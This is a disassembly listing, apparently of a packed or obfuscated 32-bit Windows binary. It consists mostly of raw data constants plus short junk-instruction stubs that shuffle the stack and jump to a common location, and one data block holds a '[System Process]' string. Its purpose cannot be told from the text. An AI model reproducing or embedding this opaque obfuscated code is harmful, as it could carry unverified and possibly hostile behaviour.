		dd 35876036h, 6F7CF540h, 4E5FCA22h, 74C9D5B4h, 0DBBF226Fh
		dd 0D2E711F2h, 53025D4h, 0BA226F7Dh, 6A47584Fh,	7FFFFFFEh
		dd 3A343h, 17ECBA00h, 0DFD6715Bh, 0A5CB3787h, 2AFE11F6h
		dd 0D1CC1A69h, 8C1DECh,	0C6BD409Ch, 0AD3CED6Ch,	59E3226Fh
		dd 0FE729066h, 1A56AC64h, 0D679D6Bh, 40F5EA23h,	77226FADh
		dd 0AA04FB0Ch, 6FACFE2Bh, 0BC461422h, 0F13414E0h, 293A3801h
		dd 0B372D03Fh, 0B7EE08B3h, 9171AFA6h, 50A5F5DFh, 4E635807h
		dd 7124413Dh, 0EFF90006h, 0F6506A8Bh, 5E2AAh, 0C29A4E00h
		dd 0DD917028h, 0FA788B43h, 1A5EA860h, 383CC880h, 74F8C29Eh
		dd 924AE490h, 0B1690373h, 0D28A2436h, 0C0A64030h, 4B83B2A7h
		dd 9F34289Fh, 0A5CB37CFh, 0E35247F6h, 0D4226F7Ch, 0C0187269h
		dd 0DE963044h, 0FD738F24h, 6A9A52ECh, 3CC8200Ah, 4ABB8938h
		dd 0C2A7422Ch, 276F9B9Ah, 7FD9D0E0h, 27DBDE27h,	0B3C45F49h
		dd 0DF9171C9h, 9882F411h, 560D000Ah, 702BD461h,	6F80EB22h
		dd 0BEB3626Bh, 22702C77h, 0C6E6DD48h, 9907FDD3h, 0B2FDDBBAh
		dd 0AAE48D2Eh, 0A2A9AA8Fh, 8019B3C4h, 1CB2ECD1h, 0B027FFABh
		dd 6FE57ABBh, 0DBD23D22h, 0E7724387h
		dd 27E8DD2h, 3FC50000h,	34B39DE6h, 0DC81829Bh, 71905E8Dh
		dd 0F3E606FDh, 0E1796E3Ch, 83496EAh, 5D9CD1D6h,	0D4000002h
		dd 0EE9DE63Fh, 6F7D3CF9h, 2E188322h, 818320AFh,	0E514DCh
		dd 0FE76630Fh, 30504796h, 0E279513Dh, 7B49D1D5h, 0A2B82F8Ah
		dd 2D899A91h, 0C1000002h, 0EE9DE63Fh, 0A892E620h, 0B1C73F0Dh
		dd 16352CC7h, 0BF68267h, 0E5DD1A53h, 0FA889EEh,	0DF072270h
		dd 543E4F25h, 0BE776C1Bh, 122700Eh, 953A9F96h, 87DC8214h
		dd 0DFAD6457h, 0CD685208h, 764882D6h, 0AC7AD1D5h, 12231A56h
		dd 1E0h, 0FFE63F4Ah, 6F7D2B0Ah,	10218C22h, 7CC16C61h, 0BEE6226Fh
		dd 341E2F47h, 0DE574CFBh, 0FE226F7Ch, 7719A10h,	0C7323415h
		dd 0DD646BD0h, 838DC81h, 0AEA12915h, 0A52FD1D5h, 67000001h
		dd 5A7C8856h, 6F7CD065h, 6B7CE722h, 0E2534881h,	0D5226F7Ch
		dd 0B5AA596Ah, 226F7D80h, 97D5CC37h, 0C31B056Bh, 0FE97313Fh
		dd 0A8D5CF19h, 56054B64h, 6F9FD461h, 8980EB22h,	6B5FE53h
		dd 9FD36257h, 79E4226Fh, 0FC6E6382h, 0A524457Bh, 0ED2E2466h
		dd 0EEFFA534h, 47B48504h, 0D3C289Ah, 46CC695Eh,	88F3289Ah
		dd 302747BAh, 99311D10h, 37D911D3h, 2Eh, 7988566Fh, 79700BF5h
		dd 85D1EE43h, 0DD69626Fh, 0FFF4A3B4h, 244608B3h, 38B7A10Ch
		dd 289A1501h, 0E0CCBFEFh, 0D911A5EAh, 0C1E6h, 0CB371E00h
		dd 0A163BBA5h, 7191E9D3h, 0A4B5A542h, 5A9C81BAh, 2D992375h
		dd 7191CFC6h, 0D3A150FFh, 0E94C412Fh, 0CE226FBFh, 83626C63h
		dd 226FBC67h, 0E07AF60Ch, 8BEDB30h, 8C4AF9EFh, 4C41F001h
		dd 2444A79Bh, 3402B11Ch, 520AA4D0h, 47BCC2B2h, 26A8906h
		dd 3595CA8h, 23C50000h,	1AE79F39h, 102BA54h, 0E71FD771h
		dd 0C53FF791h, 6F3915AFh, 0C15B19EBh, 0E07AFC09h, 19BBF28h
		dd 1DB7B949h, 0C291E37h, 0B3289F4Eh, 0CD374E1Eh, 6F5919EAh
		dd 2F14C3D4h, 666C3477h, 8A948B3Eh, 914030D2h, 0CE48EDE2h
		dd 476F226Fh, 30CBB5BBh, 851E281Fh, 0CE54E1D6h,	626B226Fh
		dd 6FCDC86Dh, 7384EF22h, 0CB37247Ch, 46571BE8h,	0B5FE045Ch
		dd 0A13C2650h, 5B4533D3h, 3615AFC0h, 226F7D04h,	0AC5BA4F9h
		dd 456AE7B7h, 9D4CFB24h, 99938DA8h, 0D2C73228h,	28999363h
		dd 80F2E954h, 0BD816615h, 10D28A1Dh, 0C89AA49Bh, 0BBA5CB37h
		dd 22D19F63h, 7DB77E73h, 0E008226Fh, 483F5024h,	1C398E3Eh
		dd 0B2A7C80Ch, 22702483h, 0CDE4C934h, 54031451h, 45960B5Fh
		dd 5F49B424h, 999659E0h, 74679728h, 11234288h, 298ED9h
		dd 3FC60000h, 0FDF2A1EAh, 244556B5h, 0FBE08FFAh, 752CAE4Fh
		dd 0EB453C68h, 9983CD6Ch, 0F32328h, 1114B614h, 0D41AD9h
		dd 37520000h, 9D1EE8CBh, 89240E68h, 0E2F38E78h,	0D7A16533h
		dd 15B52EDh, 2F195BA9h,	5B452BD7h, 4DB4FF03h, 97761021h
		dd 226F7953h, 0D46E0200h, 0A08AE61Ch, 1F14FB50h, 226F8116h
		dd 7E2D3EA9h, 456BB189h, 70936124h, 867D1802h, 760FA914h
		dd 680AF9C7h, 999AC273h, 853F1228h, 0A1070C2Ah,	73D349Fh
		dd 0C5BA69B2h, 2A6E5024h, 0B381309Bh, 8F742351h, 0F9E22281h
		dd 232D24EAh, 0D5DB996Bh, 64634F38h, 0BC6BB711h, 28000001h
		dd 4A029CC0h, 651DB7B7h, 823AD49Eh, 0A25AF484h,	9C781262h
		dd 0BEB64ED2h, 0DD996C24h, 0FE5C8B43h, 1A56AC64h, 8C819A80h
		dd 289F50A9h, 37A9790Eh, 49F8A7CDh, 6F7CE154h, 39AED622h
		dd 0BF421021h, 332AC5AFh, 0DF917129h, 0EA3F7345h, 0B5FDF2A1h
		dd 0FA244556h, 1326A58Fh, 0DD2899A7h, 5024E0AEh, 5A463959h
		dd 0D9113770h, 0C060h, 0FF03D100h, 132450B4h, 8856C41Ch
		dd 0C0FEF579h, 0EC442E42h, 0F3725C18h, 226F78F7h, 0B04A26DCh
		dd 7C660AF8h, 55BAD72Ch, 8F8BA409h, 7CF24338h, 5AC5226Fh
		dd 94893849h, 244567A6h, 7D16B01Bh, 9F6538AFh, 3FDAC4D5h
		dd 74BD1248h, 0BB4816C5h, 3B32CDB7h, 6DDF74D6h,	13C22D2Ah
		dd 1EC66F64h, 8EF92276h, 5AAA7897h, 3CC8801Ah, 4DE53238h
		dd 0A646463h, 0D6BEh, 0B6A64200h, 0D19D641Ch, 0EE847F37h
		dd 0E6A9C54h, 2C48BC74h, 68ECB692h, 863ED89Ch, 0A55DF77Fh
		dd 0C67E1842h, 0B49A343Ch, 508FA69Bh, 9B30289Fh, 0A7CD37CBh
		dd 6AD550Dh, 0B96879E1h, 705A18EBh, 75FB07D5h, 0EFF9F08Bh
		dd 0A5CB371Dh, 0D19F63BBh, 0E9328737h, 0C8A68B3Ah, 93C720E9h
		dd 68D84DAEh, 73A90C71h, 0A30E2441h, 0FBA161B9h, 1DF20789h
		dd 35CFE059h, 1EB857Dh,	7CF7382h, 0AA8F300Eh, 669FA43Ah
		dd 1A3A31D0h, 21B15127h, 83B092Ch, 3243AE46h, 4E22E098h
		dd 0AE7C2B64h, 0A2B2058h, 0AD46083Bh, 0F90D4B42h, 0F711957Fh
		dd 9CD42E04h, 0B8B84A02h, 7D9D2409h, 90043126h,	50BB4607h
		dd 20BED6Bh, 0C65B10Bh,	0A3000000h, 0CB2A0F2Eh,	9E2B0E5Bh
		dd 37FB534Ah, 69C1ABB1h, 95EDD799h, 0C61E0852h,	0F54D373Fh
		dd 237B650Fh, 51A993E1h, 81D9C3B5h, 0AE06F082h,	16311B53h
		dd 4EC81h, 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 0B5682434h
		dd 89000052h, 6852241Ch, 6B0F7A31h, 8324148Bh, 0DAF704C4h
		dd 4220F281h, 0D68992DFh, 1C8B545Ah, 4C48324h, 21C568h
		dd 24348900h, 0FF08438Fh, 815B2434h, 4C4h, 24348B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 0AFh, 0C9h, 1Ch
		dd 934E3976h, 0F0B84111h, 3062FD4h, 46E0FFC5h, 1B12F0DBh
		dd 0CE141850h, 0C7DB164h, 946DA4EFh, 0C916E649h, 9B01F1BCh
		dd 0B974776Fh, 6A1B1393h, 0D829AAAEh, 16E21EFh,	224743C0h
		dd 4C7579BEh, 53364F13h, 16513DCEh, 8366F644h, 1618FF38h
		dd 0F3663CF4h, 427AF548h, 0A680770h, 281420B5h,	7D4F8B3Fh
		dd 0CA3107CCh, 8F3C005Ah, 75208D8h, 0D9390181h,	0C3134F37h
		dd 98657CE7h, 2811BD3Ah, 0E96D9829h, 8,	3D7D96E8h, 0
		dd 591E9h, 0A2BA2E00h, 0BDB15008h, 0DA986B23h, 0FA7E8840h
		dd 185CA860h, 54D8A27Eh, 722AC4B0h, 9149E393h, 0B26A0456h
		dd 0A0862050h, 53A39287h, 7F14289Fh, 0A5CB37AFh, 35A163BBh
		dd 6F7CF540h, 4E5FCA22h, 0AD94BA9Fh, 0E5DE3E65h, 9C86EC17h
		dd 48000A01h, 74CCB6BAh, 0A0F8E28Eh, 22B45061h,	700E082Dh
		dd 3344AF22h, 3C7CE54Eh, 0EDFECDD3h, 4E41E303h,	37E68A78h
		dd 2B72BE52h, 0D3CAA7A5h, 0C7D611C9h, 8D27383Eh, 0CC7412D5h
		dd 0FE38A17Ah, 0F65D0C5h, 0EF5A2270h, 391ECDDEh, 0BEA23655h
		dd 8EE8DF6Dh, 0FA608755h, 407E7510h, 67F3F4C5h,	0D3146C56h
		dd 0BE459D87h, 0EF7FCAB4h, 0CFE9E3FCh, 79E106DCh, 8E7846DFh
		dd 6E6500EAh, 0B49ED230h, 6F7F0535h, 0D4A2C922h, 2E4E4531h
		dd 0F7B4F3Bh, 7947D2E7h, 0D232168Ch, 321EE57Fh,	54192A21h
		dd 51000000h, 0BBA5CB37h, 6F7CFF3Ch, 620EF422h,	93C72078h
		dd 0F37DA9h, 0D9CCF4E7h, 0E70DDDEDh, 1F3D2h, 372B0000h
		dd 62BAA4CAh, 8DE5CF9Fh, 0BD15FF79h, 0E8402A44h, 0FD6C561Ah
		dd 0E1D39Eh, 0EF791B00h, 0AB4DE3FCh, 4F1FE2B8h,	0AE05FDB5h
		dd 98331D55h, 371BED87h, 0CFABD3CDh, 3C74C1B6h,	0E04B2270h
		dd 0A4A06BFBh, 0B051A993h, 4F2A0FBEh, 6A784A5Bh, 56E43E35h
		dd 8183594Ch, 61A159F3h, 7EC250Fh, 0E4706F23h, 0E01E15F4h
		dd 0D2A04F23h, 0F14B4232h, 1F096B99h, 8A7A3DC7h, 546500EAh
		dd 0DFD2DC6Ah, 0D2C5F5C6h, 0E7A2F4E6h, 7FFCD2h,	37340000h
		dd 2AF8A7CDh, 15B09ADAh, 0CCB6BC47h, 88E03A31h,	0ED0DF77Bh
		dd 0EC847E4Ch, 0C3B86702h, 226F7D72h, 0C3E3DA45h, 0AD0AFAD0h
		dd 740E1F59h, 422C48BCh, 725C1CEAh, 0A18BEB1Ah,	0CFB9BB49h
		dd 2B443741h, 4B372A5Ah, 0D2E7078Fh, 5861h, 0E304D200h
		dd 0FBF28D77h, 9CD37A3h, 6F7D2114h, 462B9622h, 61E199F0h
		dd 7F697AB9h, 0B09AC027h, 0CE2D565h, 49E27CF8h,	0BB765264h
		dd 746B3124h, 0A4CA371Ch, 578910F5h, 80FA51DCh,	1359DCD1h
		dd 0F35E2270h, 1723A2FCh, 0B7227013h, 1AB09C8Fh, 0B6D2E7A4h
		dd 1, 0A6CC37EEh, 0ED9E83BCh, 0AE2AD4F4h, 60A2E0D7h, 37CE2610h
		dd 0BF56582h, 1D755F70h, 18A690CAh, 8021B0Eh, 0DE25FBEEh
		dd 3F3401F6h, 208B2270h, 0F7DC750Fh, 0E2DFE594h, 83E356Eh
		dd 1E58ADB3h, 4925DC34h, 0C9782738h, 826C0AFBh,	0BF8BF0E7h
		dd 80244578h, 6D986615h, 3EC71F09h, 0A2B34E38h,	5A4430D4h
		dd 166EC8BFh, 32EA84ECh, 37B6A0D0h, 28998804h, 0A77D7000h
		dd 0B766155Bh, 998873C2h, 0F4D94428h, 39C1F96Ch, 616B6270h
		dd 0A85A59A9h, 75CDB7C8h, 95DD268Dh, 0C2B053ABh, 1B2C3DD8h
		dd 0B639E6Ch, 0E2D78621h, 28997D53h, 0A802F964h, 471D101Ah
		dd 3806B5BBh, 0A7B1A8CCh, 110DF1D9h, 131DFD9h, 3F170000h
		dd 43F2A1EAh, 0EFE69075h, 455A608Ah, 8C76E124h,	8A2CE34h
		dd 0D4BEB250h, 0EA867Ch, 9F756872h, 0DA730D63h,	0A1FF362Bh
		dd 55C02899h, 32C00A5Eh, 5810D911h, 81000000h, 2A214FB3h
		dd 0FFE63FD2h, 6F7D2B0Ah, 3246C022h, 5B4C530h, 9083C510h
		dd 250F7A5Dh, 6F7C8FA6h, 130690A2h, 2B778E5Ch, 31439458h
		dd 785D6EFCh, 37BD0C78h, 2F655C8Ch, 0E9DE8DD6h,	0DD9067ECh
		dd 0E7E601E6h, 4071DE61h, 2BC6B0C4h, 46B1231Ah,	0A100ACh
		dd 3F3E0000h, 0FBCDCDEAh, 57382612h, 3E89746h, 7DC1B9CAh
		dd 0C2271EBAh, 244647E0h, 284AB9E1h, 0E392A33Eh, 8B82EC15h
		dd 0BD2AF831h, 9A68A69Dh, 0A08AEC19h, 0A25AF405h, 0ED261060h
		dd 57EC493Eh, 68D3289Ah, 57B40C71h, 26B6289Ah, 0DD977C33h
		dd 0A826D6EAh, 58AAE8DFh, 0BACBA95Bh, 0D21B7020h, 718F2E23h
		dd 0E5502A6Bh, 545FA3FBh, 33227B1h, 0B422749Ah,	0B34E3849h
		dd 1A34B8A2h, 0FE045927h, 49826C04h, 7499E154h,	5A6BD622h
		dd 0ECFD798Ch, 0C675483Dh, 0A88D2445h, 64F230A3h, 30A29907h
		dd 3F592BC5h, 43F2A1EAh, 6F7CE74Eh, 766DD822h, 0A95B6257h
		dd 0B11C2440h, 0DD936FC7h, 5B778B43h, 9F51CF66h, 91DD2428h
		dd 9F0A0CA7h, 9F25A48Eh, 0CC1F6D0Bh, 0A161372Ah, 955220CFh
		dd 8D77FB08h, 0E0EAE1F2h, 0AC96DA28h, 0FA09B254h, 1858AA78h
		dd 7F991D07h, 244CB68Ch, 195FA775h, 0A2601822h,	1BFA3B30h
		dd 52BD5FEDh, 40C49241h, 94204F34h, 0E7403803h,	785D96F0h
		dd 336BC60Ah, 0CC695E8Bh, 0F35FEC7Fh, 4E807788h, 8, 670DF7C5h
		dd 0D62E1870h, 0C1ABB137h, 0EDD79969h, 1E085295h, 4D373FC6h
		dd 7B650FF5h, 0A993E123h, 0D9C3B551h, 6F08281h,	311B53AEh
		dd 58545016h, 405h, 4E88300h, 5C240487h, 81E28952h, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	eax, 20873D0Dh
		push	esi
		mov	esi, 9ED4894h
		sub	esi, 22F91502h
		and	esi, 63DA1B70h
		xor	esi, 788A13CEh
		or	eax, esi
		pop	esi
		shl	eax, 4
		not	eax
		add	eax, 556A733Ch
		xor	eax, 0A1594342h
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	eax
		pop	ebp
		mov	[esi+8], ebp
		pop	ebp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 24h,	0B8h, 0F9h
		dd 3062FDAh, 74E0FFC5h,	387D3328h, 5D3ED42Dh, 6E2324BCh
		dd 0FB15875Eh, 0F9093338h, 23774DB3h, 0BE3B78A7h, 0E26AA77Ch
		dd 297FBB51h, 342F2FB6h, 2915AA20h, 0A652D27Ch,	0B119F0B2h
		dd 1C30E7DAh, 0DE2431B0h, 0D07487D3h, 0E02EC8C3h, 0D8062D49h
		dd 77334601h, 3C6DB2B6h, 3836BF02h, 0D554F455h,	1C6DC434h
		dd 0C22CB784h, 9B7EE0CFh, 380249A4h, 0AA7D8412h, 8D16F04Bh
		dd 2FDCAE8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 813DD8F6h, 0FF06E11Fh, 0CE9B8F6h
		dd 4E000000h, 70E7DF51h, 0B69EE33Ch, 8980B1E2h,	2A33958Dh
		dd 0F985C706h, 68062A0Bh, 6A000060h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6D29C356h
		dd 9D9BD03h, 85C7062Ah,	62A06C5h, 0
		dd 860Fh, 0B5FF0000h, 62A1ED9h,	2CCD9589h, 95FF062Ah, 62A05C1h
		dd 6AD18B66h, 3995FF00h, 8B062A34h, 654AEBC0h, 508EBFB6h
		dd 0ABF06A01h, 0F882F68h, 6599A8A4h, 0EFE27CC8h, 0D18ABC08h
		dd 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh, 0C24DBAB5h, 0FC485EA2h
		dd 737809ADh, 0CFF3992Eh, 8C3492Fh, 0B654AC30h,	0B06DFC88h
		dd 270F81CDh, 417F9EAAh, 0DE8A0h, 0E46D0000h, 93F72E69h
		dd 6597B388h, 66439E66h, 6658D08Bh, 812153BAh, 6143C0h
		dd 958B5200h, 62A1FF1h,	0BE5Fh,	8D890000h, 62A0A11h, 8B301C8Bh
		dd 2A18B9BDh, 9FC38106h, 0F4B6B74h, 0EB81D2B7h,	7A10BB0Dh
		dd 8159E580h, 847C3CC3h, 53CE8B46h, 8FB5C980h, 81663004h
		dd 50EAE7F2h, 7E9h, 0D844BC00h,	0AF87A78Bh, 4EE835Fh, 150D8589h
		dd 0FE81062Ah, 0FFFF9F6Ch, 1E850Fh, 0EA810000h,	21BC0A07h
		dd 28E9h, 0AB290300h, 98489A33h, 0ADB964B7h, 2847A9E4h
		dd 0B436D9F0h, 98C28166h, 0FF86E9E6h, 47AFFFFFh, 4794729Eh
		dd 45414AEDh, 0EE813h, 9C180000h, 9DF1CEA6h, 0D9608085h
		dd 0FC98A706h, 8958C88Bh, 2A0D999Dh, 16C08106h,	0F000067h
		dd 483h, 62B96600h, 198068B1h, 0BD890000h, 62A0345h, 0AE85Bh
		dd 30F70000h, 0ED74B405h, 71699149h, 2FCFDF81h,	8B5F7BF1h
		dd 5E810h, 3E210000h, 0BE294801h, 5D8ED8Ch, 3EF2815Fh
		dd 0E844624Ch, 0Eh, 0D67F7D67h,	512657CDh, 48189567h, 0FE909E6h
		dd 0E1000000h, 0B56B026Bh, 86D5DAF1h, 0E54CFCD9h, 815FD57Eh
		dd 3290A3EAh, 13E81Bh, 0EED60000h, 3AAF936Ch, 0AC54B2A1h
		dd 82D82538h, 1F581198h, 0CAB70F3Eh, 8BC28159h,	12DB1C9h
		dd 2A04CDBDh, 0BF665206h, 8F804Eh, 6870Fh, 9D890000h, 62A0CE9h
		dd 553E881h, 8B0F2E3Fh,	5, 0C2C7FBBFh, 4FC08100h, 0E92E3F05h
		dd 5, 0E4351E5Eh, 850F4BF1h, 16h, 2E19B58Bh, 1DE9062Ah
		dd 99000000h, 0E16F68EBh, 0BC2E8C36h, 0F60BB70h, 0D68BC6B7h
		dd 0FF35E961h, 8B4EFFFFh, 0B83A18Dh, 160E9h, 0E15E6C00h
		dd 0B36A7879h, 4F4ED084h, 925A914Ch, 99542B0Bh,	9A54F052h
		dd 915A970Bh, 0BA739D52h, 0E8268F3Bh, 13728C52h, 17C62ED0h
		dd 0AFB4BD9Ch, 0DE169752h, 12852h, 0
		dd 400h, 2 dup(0)
		dd 2F00h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 3Dh dup(0)
		dd 170CE900h, 6680000h,	0E9062FE2h, 0FFFB6912h,	2FE30868h
		dd 6908E906h, 0D268FFFBh, 0E9062FE3h, 0FFFB68FEh, 2FE48968h
		dd 68F4E906h, 868FFFBh,	0E9062FE6h, 0FFFB68EAh,	2FE76F68h
		dd 68E0E906h, 6168FFFBh, 0E9062FE8h, 0FFFB68D6h, 2FE92A68h
		dd 68CCE906h, 0F868FFFBh, 0E9062FEAh, 0FFFB68C2h, 2FEC3A68h
		dd 68B8E906h, 2968FFFBh, 0E9062FEDh, 0FFFB68AEh, 2FEDC068h
		dd 68A4E906h, 4968FFFBh, 0E9062FEFh, 0FFFB689Ah, 2FF50D68h
		dd 6890E906h, 0EE68FFFBh, 0E9062FF5h, 0FFFB6886h, 0A7409709h
		dd 2EC7108Fh, 0B7509716h, 42DBEC9Fh, 0CE677E2Ah, 584C04EBh
		dd 0A8D8F089h, 22607811h, 0BFEA029Bh, 0FBA88F28h, 0C65E5EE5h
		dd 4FDFD916h, 0F01BA8DDh, 0D11693A3h, 0A9D9E6A6h, 0C54EE7FCh
		dd 0CEE42388h, 23206294h, 4A88B375h, 16CC19BFh,	25E3B896h
		dd 0A856F6FCh, 4661h, 0A3C80B00h, 0F63E068Dh, 0B2BF811Ch
		dd 306F5C11h, 2068181Ah, 9CC78923h, 0CC12D35Eh,	6E753416h
		dd 26152743h, 584457AEh, 3D687F2Eh, 0AFE9B2A6h,	8A7E1DFBh
		dd 0A856AB63h, 0E1C6h, 6C3D3100h, 5FB00323h, 0C8141A27h
		dd 250C08D4h, 303DD522h, 133E8500h, 0ED18AFDBh,	0C8F3F0B5h
		dd 35CE1590h, 30DA1408h, 9CA72377h, 0F399598Fh,	21641CF5h
		dd 535363A2h, 94A1618Ch, 1BA8DDF5h, 0A91647F0h,	1152546Ah
		dd 988C2320h, 0B1C7E153h, 16CC0D2Ah, 44D5E3A5h,	1C2A3716h
		dd 538C15Ah, 0CE6CF309h, 25E716CBh, 0FC1E3473h,	761CF888h
		dd 78A32266h, 0CB1A8EB8h, 0C5D3E0A0h, 0F0B4C403h, 1CBEB2F1h
		dd 2DA8F536h, 5F771623h, 65F69C2Bh, 0A56387DBh,	1486836Ch
		dd 0D9D70000h, 225D750Eh, 0A5E4FC95h, 3E6D851Eh, 8CF810A9h
		dd 0D2B99C35h, 0BA539216h, 42DBE2A2h, 0CC65782Ah, 59F2F1B4h
		dd 28AFC572h, 0A316C65Ch, 0A9DD19A9h, 4454811Ah, 3F6F7C4Bh
		dd 0B7E47D4Ah, 0B7E2E5A7h, 9DECDF7h, 316CF6FCh,	638E5152h
		dd 9CB2F1A3h, 2320689Ah, 0D11E490Bh, 8023D3DDh,	1C8F21D6h
		dd 2EE0A0CBh, 7160EB21h, 593716CBh, 1B1FC642h, 0C202A856h
		dd 0AC000000h, 0F01BA8DDh, 0CAF5CCB8h, 0D056897Dh, 11CFDE3Dh
		dd 1C0ECE04h, 0ACD91CF6h, 23667E17h, 5A5565A4h,	95A2628Dh
		dd 0DCF21764h, 1CF61255h, 60010ED0h, 6221312Dh,	11A62D5Dh
		dd 5F211CF6h, 33496EADh, 1CF611ACh, 29BEED27h, 7E8C3EFEh
		dd 1C8A85E9h, 7FC4D126h, 1F956769h, 7D16D823h, 7C434050h
		dd 45A0273Dh, 591B16CBh, 0DF2AB4Ch, 0FE85B8CEh,	96581CF7h
		dd 84434757h, 10D7D3EBh, 8814DF6Ah, 1D063F63h, 1384h, 730CDBD5h
		dd 0FA93245Bh, 831CA3E2h, 0EA7386Bh, 9A33B2F6h,	6C18D0B7h
		dd 0E4A4BC55h, 7E2C44DDh, 0F3B6CE67h, 0C7745BF4h, 0C65B2AB1h
		dd 1BABA516h, 811AA9DDh, 0EA73C69h, 1BA8DD20h, 0F6CDB8F0h
		dd 7F44455Dh, 5A691C54h, 0BB5F92C1h, 0B8E3F4ABh, 134AEBF8h
		dd 38486DACh, 7CD1194Ch, 0C3FD376h, 55174D5Ah, 4623200Eh
		dd 7A354584h, 7582426Dh, 98AED368h, 16CBBF11h, 87BDCA8Ch
		dd 0E55EFFDh, 0E4DB2EBh, 6BADF2F8h, 7EA96B25h, 0F43398D5h
		dd 44F0FCDEh, 0A4E6F61Fh, 0EDF77E94h, 0B07212E9h, 21E3F1FEh
		dd 0FEADBDE2h, 84AF3471h, 0BDD312C4h, 12E9EE36h, 0B2E2EFB1h
		dd 3F57F0F7h, 52D77D4Ah, 2265D375h, 12BA00E9h, 950B0000h
		dd 1E91A942h, 691830C9h, 0E2A1B952h, 782C44DDh,	6EDD069h
		dd 0EE875E4Ah, 760FD6D6h, 992C5Eh, 8D26BDE8h, 5CE3F9A6h
		dd 0D716C65Bh, 0A8DD4DDDh, 1647F01Bh, 35456AA9h, 42436D7Ah
		dd 8592527Dh, 2051894Fh, 27C08223h, 77E1D5FAh, 0CA440C4Eh
		dd 52EE75A5h, 0A76916CBh, 0A83F6A9Ah, 3299D47Dh, 0C1BECEF3h
		dd 0FE0BCBF6h, 0FB323AC8h, 0C201C31Ch, 57F0F7B2h, 527D4A3Fh
		dd 0C807F4A9h, 0CB5304B2h, 0CC0BCD16h, 61FAC9BCh, 0E4FA5C49h
		dd 0A6B955Dh, 256416D8h, 0A9D99615h, 75356012h,	0DF8E3768h
		dd 619BB1F0h, 421095A4h, 0D5BDA80h, 0EA23572Bh,	120301h
		dd 8B5A5400h, 12A5DAF2h, 9B206179h, 26B9EA02h, 0B231758Dh
		dd 994F3619h, 253DD6EDh, 0ADC55E65h, 374FE8FFh,	0F5DC7572h
		dd 59AB3248h, 2C2616C6h, 0CCB8C89Ch, 0FD0ACAF5h, 710AD9CDh
		dd 746B5E8h, 20418BF1h,	0F7D8D23h, 0CA1D8EB8h, 0C4D2DF9Fh
		dd 9DC81F8Ah, 0EDF2B3DDh, 115002C2h, 34D99F1Dh,	0EBF86DC7h
		dd 0C00782BAh, 4D9A0F27h, 0D7C47922h, 0B1F48298h, 0BB7D1CF5h
		dd 5154C90h, 56164186h,	0E23E5D49h, 0FE8720A7h,	1121604Fh
		dd 5F1F4A91h, 65727135h, 0BEEBFB20h, 80E61C29h,	0B916CB83h
		dd 162C0E7Fh, 0A777C8Fh, 0E496480Ah, 470481B9h,	0A2CD7F48h
		dd 7F2F3E6Ah, 0CB7D3D68h, 9A1984A0h, 0C9C01476h, 0ACD7E09Fh
		dd 0C874270Bh, 2110197Bh, 7C60129Bh, 1B525D3Eh,	0F95F75B4h
		dd 0FB10A14Ch, 4739C0D6h, 0F2B4044Dh, 0D702D9C8h, 3AFC0A17h
		dd 0C71C89A1h, 56D35E9Ch, 0E1D5044Dh, 2C2366BAh, 1CB5677Eh
		dd 3428104h, 42B8F0Fh, 7D8A6551h, 5EAA34Ch, 0CE2EB0C6h
		dd 0DD9F0A76h, 0FFB91544h, 0C22614Eh, 4526C86h,	0B6363DFFh
		dd 8AC8F3F2h, 0F7F2ADFFh, 794E3B4Bh, 20648E4Eh,	0A9B676A1h
		dd 27665508h, 2DB0F202h, 8D44EA20h, 0DFFDFE22h,	6CCF72A4h
		dd 2E4483FAh, 0F1C324A7h, 6FAE6022h, 49D2A5Fh, 0EB2AB9ECh
		dd 324B51F7h, 68758840h, 3C8BFF37h, 0AC212D96h,	2B144D44h
		dd 1084h, 730CDBD5h, 0FA93245Bh, 831CA3E2h, 0EA7386Bh
		dd 9A33B2F6h, 6C18D0B7h, 0E4A4BC55h, 7E2C44DDh,	0F3B6CE67h
		dd 0C7745BF4h, 0C6582AB1h, 1BABA516h, 811AA9DDh, 7CA73C69h
		dd 57824144h, 51CFCCC0h, 0C9F68F54h, 3E078EA4h,	354B1CF6h
		dd 1CF63DAEh, 9D5F6729h, 0D6A14890h, 1A2AAE7Ch,	5D485568h
		dd 187h, 0A3A8DD07h, 32EE0E7h, 7009DECBh, 0A49B6E7h, 2062BAF4h
		dd 9AD99B23h, 243A1E8Ah, 16CC199Dh, 79A45618h, 3D7BACB9h
		dd 16CC19B2h, 18F0AB89h, 0A856F6F1h, 5A54h, 0FBAFBF00h
		dd 0C8D9DFECh, 0E3F0C7B8h, 0A9480B42h, 0B325E2Fh, 7F89705Fh
		dd 734C4071h, 4D5D82C1h, 9B5B865Dh, 0C256588Eh,	6B90231Fh
		dd 0CB6CCE55h, 7A874916h, 417FAA6Ch, 16CB6CB6h,	1CECAF8Dh
		dd 0A85607F5h, 0DEE5D9FEh, 0B58A75F5h, 608E1545h, 470916CBh
		dd 0C34F3Ah, 0DDF90000h, 0B7DC1BA8h, 0F63E1AA1h, 94D3951Ch
		dd 0F63DF77Eh, 0A3B0721Ch, 774E3A72h, 5291144Ch, 2DBAEF27h
		dd 221CFAEEh, 0B3873875h, 29E907A6h, 0F41CF634h, 109932B1h
		dd 1F2F6E5Dh, 72325D6Ah, 550A2065h, 0F52322E3h,	7233BAD0h
		dd 0C0A816C9h, 2878851Fh, 9CA96B73h, 7D8DCC8Eh,	6B7BBA09h
